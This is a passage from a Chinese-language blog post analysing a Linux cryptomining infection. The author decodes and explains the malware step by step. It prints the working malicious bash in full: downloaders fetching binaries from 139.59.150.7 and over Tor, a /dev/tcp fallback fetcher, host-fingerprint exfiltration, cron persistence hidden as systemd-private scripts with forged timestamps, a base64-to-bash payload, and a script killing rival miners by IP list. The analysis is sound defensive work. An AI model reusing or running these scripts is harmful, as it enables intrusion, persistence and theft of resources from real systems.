ss <span class="nt">-v</span> <span class="o">||</span> curl <span class="nt">-s</span> http://139.59.150.7:443/ss <span class="nt">-o</span> <span class="nv">$HOME</span>/ss<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ss
ps <span class="o">||</span> curl <span class="nt">-s</span> http://139.59.150.7:443/ps <span class="nt">-o</span> <span class="nv">$HOME</span>/ps<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ps
<span class="nv">d</span><span class="o">=</span><span class="si">$(</span><span class="nb">grep </span>x:<span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span>: /etc/passwd|cut <span class="nt">-d</span>: <span class="nt">-f6</span><span class="si">)</span>
<span class="nv">c</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"curl -4fsSLkA- -m200"</span><span class="si">)</span>
<span class="nv">t</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"rxmxpzfkydkulhhqnuftbmf6d5q67jjchopmh4ofszfwwnmz4bqq2fid"</span><span class="si">)</span>
sockz<span class="o">()</span> <span class="o">{</span>
<span class="nv">n</span><span class="o">=(</span>doh.nl.ahadns.net dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.no.ahadns.net doh-fi.blahdns.com <span class="k">fi</span>.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch<span class="o">)</span>
<span class="nv">p</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"dns-query?name=relay.tor2socks.in"</span><span class="si">)</span>
<span class="nv">s</span><span class="o">=</span><span class="si">$(</span><span class="nv">$c</span> https://<span class="k">${</span><span class="nv">n</span><span class="p">[</span><span class="k">$((</span>RANDOM%11<span class="k">))</span><span class="p">]</span><span class="k">}</span>/<span class="nv">$p</span> | <span class="nb">grep</span> <span class="nt">-oE</span> <span class="s2">"</span><span class="se">\b</span><span class="s2">([0-9]{1,3}</span><span class="se">\.</span><span class="s2">){3}[0-9]{1,3}</span><span class="se">\b</span><span class="s2">"</span> |tr <span class="s1">' '</span> <span class="s1">'\n'</span>|grep <span class="nt">-Ev</span> <span class="o">[</span>.]0|sort <span class="nt">-uR</span>|head <span class="nt">-n</span> 1<span class="si">)</span>
<span class="o">}</span>
fexe<span class="o">()</span> <span class="o">{</span>
<span class="k">for </span>i <span class="k">in</span> <span class="nb">.</span> <span class="nv">$HOME</span> /usr/bin <span class="nv">$d</span> /tmp /var/tmp <span class="p">;</span><span class="k">do </span><span class="nb">echo exit</span> <span class="o">></span> <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">chmod</span> +x <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">cd</span> <span class="nv">$i</span> <span class="o">&&</span> ./i <span class="o">&&</span> <span class="nb">rm</span> <span class="nt">-f</span> i <span class="o">&&</span> <span class="nb">break</span><span class="p">;</span><span class="k">done</span>
<span class="o">}</span>
u<span class="o">()</span> <span class="o">{</span>
sockz
<span class="nv">f</span><span class="o">=</span>/l/sp.<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>
<span class="nv">x</span><span class="o">=</span>./<span class="si">$(</span><span class="nb">date</span>|md5sum|cut <span class="nt">-f1</span> <span class="nt">-d-</span><span class="si">)</span>
<span class="nv">r</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-4fsSLk</span> checkip.amazonaws.com||curl <span class="nt">-4fsSLk</span> ip.sb<span class="si">)</span>_<span class="si">$(</span><span class="nb">whoami</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-n</span><span class="si">)</span>_<span class="si">$(</span>ip a|grep <span class="s1">'inet '</span>|awk <span class="o">{</span><span class="s1">'print $2'</span><span class="o">}</span>|md5sum|awk <span class="o">{</span><span class="s1">'print $1'</span><span class="o">}</span><span class="si">)</span>_<span class="si">$(</span>crontab <span class="nt">-l</span>|base64 <span class="nt">-w0</span><span class="si">)</span>
<span class="nv">$c</span> <span class="nt">-x</span> socks5h://<span class="nv">$s</span>:9050 <span class="nv">$t</span>.onion<span class="nv">$f</span> <span class="nt">-o</span><span class="nv">$x</span> <span class="nt">-e</span><span class="nv">$r</span> <span class="o">||</span> <span class="nv">$c</span> <span class="nv">$1$f</span> <span class="nt">-o</span><span class="nv">$x</span> <span class="nt">-e</span><span class="nv">$r</span>
<span class="nb">chmod</span> +x <span class="nv">$x</span><span class="p">;</span><span class="nv">$x</span><span class="p">;</span><span class="nb">rm</span> <span class="nt">-f</span> <span class="nv">$x</span>
<span class="o">}</span>
<span class="k">for </span>h <span class="k">in </span>tor2web.in tor2web.it
<span class="k">do
if</span> <span class="o">!</span> <span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status<span class="p">;</span> <span class="k">then
</span>fexe<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span>
<span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status <span class="o">||</span> <span class="o">(</span><span class="nb">cd</span> /tmp<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span><span class="o">)</span>
<span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status <span class="o">||</span> <span class="o">(</span><span class="nb">cd</span> /dev/shm<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span><span class="o">)</span>
<span class="k">else
</span><span class="nb">break
</span><span class="k">fi
done</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>好家伙,过来过去,从 bash 到 elf 再到 jar,一直都是这个 bash 脚本。</p>
<p>一切都是为了这个 bash 脚本服务。</p>
<p>其中有一段下载文件的步骤,之前也看到了,但是没有仔细分析。在曾大佬的带领下,一行一行分析了这个bash的功能.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre>
<span class="k">function </span>kurl<span class="o">()</span> <span class="o">{</span>
<span class="nb">read </span>proto server path <span class="o"><<<</span><span class="si">$(</span><span class="nb">echo</span> <span class="k">${</span><span class="nv">1</span><span class="p">//// </span><span class="k">}</span><span class="si">)</span>
<span class="nv">DOC</span><span class="o">=</span>/<span class="k">${</span><span class="nv">path</span><span class="p">// //</span><span class="k">}</span>
<span class="nv">HOST</span><span class="o">=</span><span class="k">${</span><span class="nv">server</span><span class="p">//</span>:<span class="p">*</span><span class="k">}</span>
<span class="nv">PORT</span><span class="o">=</span><span class="k">${</span><span class="nv">server</span><span class="p">//*</span>:<span class="k">}</span>
<span class="o">[[</span> x<span class="s2">"</span><span class="k">${</span><span class="nv">HOST</span><span class="k">}</span><span class="s2">"</span> <span class="o">==</span> x<span class="s2">"</span><span class="k">${</span><span class="nv">PORT</span><span class="k">}</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&&</span> <span class="nv">PORT</span><span class="o">=</span>80
<span class="nb">exec </span>3<<span class="o">></span>/dev/tcp/<span class="k">${</span><span class="nv">HOST</span><span class="k">}</span>/<span class="nv">$PORT</span>
<span class="nb">echo</span> <span class="nt">-en</span> <span class="s2">"GET </span><span class="k">${</span><span class="nv">DOC</span><span class="k">}</span><span class="s2"> HTTP/1.0</span><span class="se">\r\n</span><span class="s2">Host: </span><span class="k">${</span><span class="nv">HOST</span><span class="k">}</span><span class="se">\r\n\r\n</span><span class="s2">"</span> <span class="o">></span>&3
<span class="o">(</span><span class="k">while </span><span class="nb">read </span>line<span class="p">;</span> <span class="k">do</span>
<span class="o">[[</span> <span class="s2">"</span><span class="nv">$line</span><span class="s2">"</span> <span class="o">==</span> <span class="s1">$'</span><span class="se">\r</span><span class="s1">'</span> <span class="o">]]</span> <span class="o">&&</span> <span class="nb">break
</span><span class="k">done</span> <span class="o">&&</span> <span class="nb">cat</span><span class="o">)</span> <&3
<span class="nb">exec </span>3>&-
<span class="o">}</span>
<span class="nb">rm</span> <span class="nt">-f</span> <span class="nv">$HOME</span>/ss
curl <span class="nt">-V</span> <span class="o">||</span> wget <span class="nt">-q</span> https://github.com/moparisthebest/static-curl/releases/download/v7.75.0/curl-amd64 <span class="nt">-O</span> <span class="nv">$HOME</span>/curl<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/curl
curl <span class="nt">-V</span> <span class="o">||</span> kurl http://139.59.150.7:443/curl <span class="o">></span> <span class="nv">$HOME</span>/curl<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/curl
ss <span class="nt">-v</span> <span class="o">||</span> kurl http://139.59.150.7:443/ss <span class="o">></span> <span class="nv">$HOME</span>/ss<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ss
ss <span class="nt">-v</span> <span class="o">||</span> curl <span class="nt">-s</span> http://139.59.150.7:443/ss <span class="nt">-o</span> <span class="nv">$HOME</span>/ss<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ss
ps <span class="o">||</span> curl <span class="nt">-s</span> http://139.59.150.7:443/ps <span class="nt">-o</span> <span class="nv">$HOME</span>/ps<span class="p">;</span><span class="nb">chmod</span> +x <span class="nv">$HOME</span>/ps
</pre></td></tr></tbody></table></code></pre></div></div>
<p>这个 <code class="language-plaintext highlighter-rouge">kurl</code>,试图在没有 curl,没有 wget 的情况下,依赖 bash 内置功能,下载 curl。看起来这个攻击者是想要在类似于 docker 内部这样的刀耕火种的原始环境里面实现挖矿的功能。</p>
<p>我推测攻击者会一些计算机编程,但是功底肯定不会这么深厚,这段代码很可能不是攻击者自己写的。要是他有手写这个代码的水平,那肯定不会搞挖矿这个行当了。带着这个疑问,搜索了一圈,找到了代码的<a href="https://unix.stackexchange.com/a/421318">出处</a></p>
<p>分析过来分析过去,没看到其他有用的信息了,根据努力不一定能成功,放弃一定很轻松的指导方针,tracepath 这个文件的分析暂时到此为止。</p>
<h2 id="eqnr3jnr">EQnR3jNR</h2>
<p>这个文件的主要作用是通过 crontab 添加持久化, 通过多种方式横向移动的功能。</p>
<p>通过动态调试该文件,可以看到执行了如下的 bash 命令。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre>nU9WagjQ8BenWPXt0ovE12uD8jBItv6
<span class="nb">exec</span> &>/dev/null
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$HOME</span>:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
<span class="nv">d</span><span class="o">=</span><span class="si">$(</span><span class="nb">grep </span>x:<span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span>: /etc/passwd|cut <span class="nt">-d</span>: <span class="nt">-f6</span><span class="si">)</span>
x<span class="o">()</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">!</span> <span class="nb">ls</span> <span class="nv">$d</span>/.systemd-private-<span class="k">*</span>.sh<span class="p">;</span> <span class="k">then
</span><span class="nb">grep</span> <span class="s2">"nU9WagjQ8BenWPXt0ovE12uD8jBItv6"</span> <span class="nv">$d</span>/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh <span class="o">||</span> <span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"#</span><span class="se">\x</span><span class="s2">21/bin/bash</span><span class="se">\n</span><span class="s2">exec &>/dev/null</span><span class="se">\n</span><span class="s2">echo nU9WagjQ8BenWPXt0ovE12uD8jBItv6</span><span class="se">\n</span><span class="s2">echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash"</span> <span class="o">></span> <span class="nv">$d</span>/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh
<span class="nb">touch</span> <span class="nt">-r</span> /bin/grep <span class="nv">$d</span>/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh
<span class="nb">chmod</span> +x <span class="nv">$d</span>/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh
<span class="k">fi
if</span> <span class="o">!</span> <span class="nb">ls</span> /opt/systemd-private-<span class="k">*</span>.sh<span class="p">;</span> <span class="k">then
</span><span class="nb">grep</span> <span class="s2">"nU9WagjQ8BenWPXt0ovE12uD8jBItv6"</span> /opt/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh <span class="o">||</span> <span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"#</span><span class="se">\x</span><span class="s2">21/bin/bash</span><span class="se">\n</span><span class="s2">exec &>/dev/null</span><span class="se">\n</span><span class="s2">echo nU9WagjQ8BenWPXt0ovE12uD8jBItv6</span><span class="se">\n</span><span class="s2">echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash"</span> <span class="o">></span> /opt/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh
<span class="nb">touch</span> <span class="nt">-r</span> /bin/grep /opt/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh
<span class="nb">chmod</span> +x /opt/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh
<span class="k">fi
if</span> <span class="o">!</span> <span class="nb">ls</span> /etc/cron.d/0systemd-private-<span class="k">*</span><span class="p">;</span> <span class="k">then
</span><span class="nb">grep </span>nU9WagjQ8BenWPXt0ovE12uD8jBItv6 /etc/cron.d/0systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">echo</span> <span class="k">$((</span>RANDOM%59<span class="k">))</span><span class="si">)</span><span class="s2"> * * * * root /opt/systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh > /dev/null 2>&1 &"</span> <span class="o">></span> /etc/cron.d/0systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6
<span class="nb">touch</span> <span class="nt">-r</span> /bin/grep /etc/cron.d/0systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6
<span class="k">fi
if</span> <span class="o">!</span> crontab <span class="nt">-l</span> | <span class="nb">grep</span> ^[0-9] | <span class="nb">grep </span>systemd-private<span class="p">;</span> <span class="k">then</span>
<span class="o">(</span><span class="nb">echo</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">echo</span> <span class="k">$((</span>RANDOM%59<span class="k">))</span><span class="si">)</span><span class="s2"> * * * * </span><span class="nv">$d</span><span class="s2">/.systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh > /dev/null 2>&1 &"</span><span class="p">;</span>crontab <span class="nt">-l</span>|grep <span class="nt">-v</span> systemd-private-nU9WagjQ8BenWPXt0ovE12uD8jBItv6.sh<span class="o">)</span>|crontab -
<span class="k">fi</span>
<span class="o">}</span>
x
</pre></td></tr></tbody></table></code></pre></div></div>
<p>解 base64 之后可以发现功能是检查 <code class="language-plaintext highlighter-rouge">$HOME/.systemd-private-*.sh</code> 是否存在,如果不存在,那么把前面分析过的恶意脚本的内容加进去。运气比较好,刚开始在机器上手撕病毒的时候,这几个自启动恶意程序都删掉了。</p>
<p>代码里面包含大量的 bash64编码的内容。逆向分析的主要工作是动态调试然后解 base64和解决 00 截断导致的错误然后继续解base64 :)</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre>nU9WagjQ8BenWPXt0ovE12uD8jBItv6
<span class="nb">exec</span> &>/dev/null
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$HOME</span>:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
find /etc/cron<span class="k">*</span>|xargs chattr <span class="nt">-i</span><span class="p">;</span>find /var/spool/cron<span class="k">*</span>|xargs chattr <span class="nt">-i</span><span class="p">;</span>chattr <span class="nt">-i</span> /etc/hosts
crontab <span class="nt">-l</span> <span class="p">;</span><span class="nb">grep</span> <span class="nt">-iRE</span> <span class="s2">"Evie0EAJrdlD6N9|tEYYDFeOnouIdvpQ|vPUjpEzwu4WUekG|systemd-service|data/pg_|main/pg_|pg_logical|cache/auto|ctlib|70OXQG|Malware|Miner|VUses5|</span><span class="se">\-</span><span class="s2">unix|</span><span class="se">\.\/</span><span class="s2">oka|</span><span class="se">\.</span><span class="s2">configrc|</span><span class="se">\.</span><span class="s2">rsync|</span><span class="se">\/</span><span class="s2">upd|aliyun|basht|bffbe|curl|jqu</span><span class="se">\.</span><span class="s2">js|jqu2|kill_virus|virus|kpccv|malware|mazec|nullc|qcloud|rvlss|ryukd|system-python3.8-Updates|systemd-init|th2ps|titanagent|tmp00|ucxin|unixdb|unixoa|wget|wlvly|xzfix|pg_stat|pty3|zsvc|pdefenderd|smcard2|wakuang|delmining|base64"</span> /etc/cron.<span class="k">*</span>|cut <span class="nt">-f</span> 1 <span class="nt">-d</span> :|xargs <span class="nb">rm</span> <span class="nt">-f</span>
crontab <span class="nt">-l</span> |grep <span class="nt">-ivE</span> <span class="s2">"Evie0EAJrdlD6N9|tEYYDFeOnouIdvpQ|vPUjpEzwu4WUekG|systemd-service|data/pg_|main/pg_|pg_logical|cache/auto|ctlib|70OXQG|Malware|Miner|VUses5|</span><span class="se">\-</span><span class="s2">unix|</span><span class="se">\.\/</span><span class="s2">oka|</span><span class="se">\.</span><span class="s2">configrc|</span><span class="se">\.</span><span class="s2">rsync|</span><span class="se">\/</span><span class="s2">upd|aliyun|basht|bffbe|curl|jqu</span><span class="se">\.</span><span class="s2">js|jqu2|kill_virus|virus|kpccv|malware|mazec|nullc|qcloud|rvlss|ryukd|system-python3.8-Updates|systemd-init|th2ps|titanagent|tmp00|ucxin|unixdb|unixoa|wget|wlvly|xzfix|pg_stat|pty3|zsvc|pdefenderd|smcard2|wakuang|delmining|base64"</span> |crontab -
crontab <span class="nt">-l</span> |grep <span class="nt">-v</span> <span class="s2">"[*] [*] [*] [*] [*] /var/lib/pgsql"</span>|crontab -
crontab <span class="nt">-l</span> |grep <span class="nt">-v</span> <span class="s2">"[*] [*] [*] [*] [*] /var/lib/postgresql"</span>|crontab -
crontab <span class="nt">-l</span> |grep <span class="nt">-v</span> <span class="s2">"[*] [*] [*] [*] [*] /var/log/postgresql"</span>|crontab -
crontab <span class="nt">-l</span> |grep <span class="nt">-v</span> <span class="s2">"[*] [*] [*] [*] [*] /etc/postgresql/"</span>|crontab -
<span class="nb">grep</span> <span class="nt">-q</span> onion /etc/hosts <span class="o">&&</span> <span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'/onion/d'</span> /etc/hosts
<span class="nb">grep</span> <span class="nt">-q</span> tor2w /etc/hosts <span class="o">&&</span> <span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'/tor2w/d'</span> /etc/hosts
netstat <span class="nt">-antp</span>|grep <span class="nt">-E</span> <span class="s2">"82.114.253.13|14.17.70.144|3.125.10.23|103.53.210.34|45.64.130.147|34.252.195.254|103.3.62.64|104.140.201.42|104.140.244.186|107.178.104.10|107.191.99.221|107.191.99.95|116.203.73.240|131.153.56.98|131.153.76.130|136.243.102.154|138.201.20.89|138.201.27.243|138.201.36.249|139.162.132.70|139.162.60.220|139.162.81.90|139.99.101.197|139.99.101.198|139.99.101.232|139.99.102.70|139.99.102.71|139.99.102.72|139.99.102.73|139.99.102.74|139.99.120.50|139.99.120.75|139.99.123.196|139.99.124.170|139.99.125.38|139.99.156.30|139.99.68.128|142.44.242.100|142.44.243.6|144.217.14.109|144.217.14.139|147.135.37.31|149.202.42.174|149.202.83.171|15.236.100.141|151.80.144.188|158.69.25.62|158.69.25.71|158.69.25.77|163.172.203.178|163.172.206.67|163.172.207.69|163.172.226.114|163.172.226.137|172.104.143.224|172.104.151.232|172.104.159.158|172.104.165.191|172.104.247.21|172.104.76.21|172.105.205.58|172.105.205.68|172.105.210.117|172.105.211.250|172.105.235.97|178.63.100.197|18.180.72.219|18.210.126.40|192.110.160.114|192.99.69.170|195.154.62.247|195.201.12.107|199.231.85.124|207.246.100.198|213.32.29.143|213.32.74.157|217.182.169.148|23.88.160.140|3.0.193.200|37.187.95.110|37.59.43.131|37.59.44.193|37.59.44.93|37.59.54.205|37.59.55.60|37.9.3.26|45.32.71.82|45.76.65.223|45.79.192.137|45.79.200.97|45.79.204.241|45.79.210.48|46.4.120.18|47.101.30.124|5.196.13.29|5.196.23.240|51.15.54.102|51.15.55.100|51.15.55.162|51.15.58.224|51.15.65.182|51.15.67.17|51.15.69.136|51.15.78.68|51.255.34.118|51.255.34.79|51.255.34.80|51.81.245.40|54.188.223.206|54.37.7.208|66.42.105.146|78.46.49.222|78.46.87.181|81.25.55.79|81.91.189.245|88.99.142.163|88.99.193.240|88.99.242.92|91.121.140.167|94.130.12.27|94.130.12.30|94.130.143.162|94.130.165.85|94.130.165.87|94.130.239.15|94.23.23.52|94.23.247.226|95.216.209.67|205.185.118.204|63.250.33.43|185.199.11|139.99.121.227|199.192.30.2|185.156.179.225|45.129.2.107|194.87.102.77|172.83.155.151|185.165.171.78|70.39.125.244|205.185.118.204|54.37.7.208|209.141.38.71|150.107.76.231|107.167.7.226|194.40.243.61|195.3.146.118|20.53.100.173|20.62.240.187|94.130.164.163|45.9.148.117|168.235.88.209|161.97.140.214|193.23.250.136|95.216.46.125|95.181.179.88|104.244.78.33|15.228.36.177|203.107.32.162|194.38.20.199"</span>|awk <span class="o">{</span><span class="s1">'print $NF'</span><span class="o">}</span> |cut <span class="nt">-d</span>/ <span class="nt">-f1</span>|xargs <span class="nb">kill</span> <span class="nt">-9</span>
